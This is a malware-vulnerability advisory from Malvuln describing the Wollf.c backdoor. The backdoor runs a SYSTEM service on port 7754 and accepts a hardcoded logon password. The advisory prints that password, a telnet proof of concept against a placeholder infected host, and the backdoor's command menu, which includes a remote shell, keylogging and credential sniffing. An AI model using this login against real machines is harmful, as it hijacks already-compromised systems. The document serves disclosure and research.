Backdoor.Win32.Wollf.c / Hardcoded Backdoor Password

2021.02.14
us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/91c02a95839a76a5d2e335cded7112a9.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Wollf.c Vulnerability: Hardcoded Backdoor Password Description: The backdoor creates a service "sysocm.exe" running with SYSTEM integrity. The sysocm service listens for commands on TCP port 7754. The backdoors remote logon password is "mDVs3TAv8sByKyG6YgwbtYQK6fSQeauz" and while strong, its stored in the executable and easily discovered using strings utility. C:\>sc qc sysocm [SC] QueryServiceConfig SUCCESS SERVICE_NAME: sysocm TYPE : 120 WIN32_SHARE_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\WINDOWS\system32\sysocm.exe -start LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : sysocm DEPENDENCIES : SERVICE_START_NAME : LocalSystem Type: PE32 MD5: 91c02a95839a76a5d2e335cded7112a9 Vuln ID: MVID-2021-0053 Dropped files: sysocm.exe Disclosure: 01/25/2021 Exploit/PoC: TELNET [BACKDOORED_HOST_IP] 7754 login: mDVs3TAv8sByKyG6YgwbtYQK6fSQeauz Login succeed! "Wollf Remote Manager" v1.6 Code by wollf, http://www.xfocus.org [DESKTOP-BLAHX@C:\WINDOWS\system32]# DOS Switch to MS-DOS prompt DIR/LS/LIST Directory and file list CD Entry directory MD/MKDIR Make directory PWD Get current dirctory COPY/CP Copy file DEL/RM Delete directory/file REN/RENAME Rename file MOVE/MV Move file TYPE/CAT Type text file POPMSG Popup message box SYSINFO Get system information WHO/W Get current connections SHELL Execute command by system shell(cmd.exe) EXEC/RUN Execute file by windows API(WinExec) WS Windows list PS Process list KILL Kill process GET/GETFILE Download file from remote machine PUT/PUTFILE Upload file to remote machine WGET Get file from web server FGET Get file from ftp server FPUT Put file to ftp server TELNET Connect to other host FTPD Start ftp service TELNETD/TELD/EXPORT Start telnet service (export shell) REDIR Redirect tcp data from <Port> to <Dest_host:Dest_port> REDIR_STOP Stop redirect tcp data SNIFF Sniff ftp/smtp/pop3/http password what via ethernet SNIFF_STOP Stop ethernet sniffer KEYLOG Start keyboard record KEYLOG_STOP Stop keyboard record REBOOT Reboot windows SHUTDOWN Shutdown windows EXIT Close current connection QUIT Close all connection and abort service REMOVE Remove service VER/VERSION Version information HELP/H/? Show help message Type "HELP | MORE" for multipage display. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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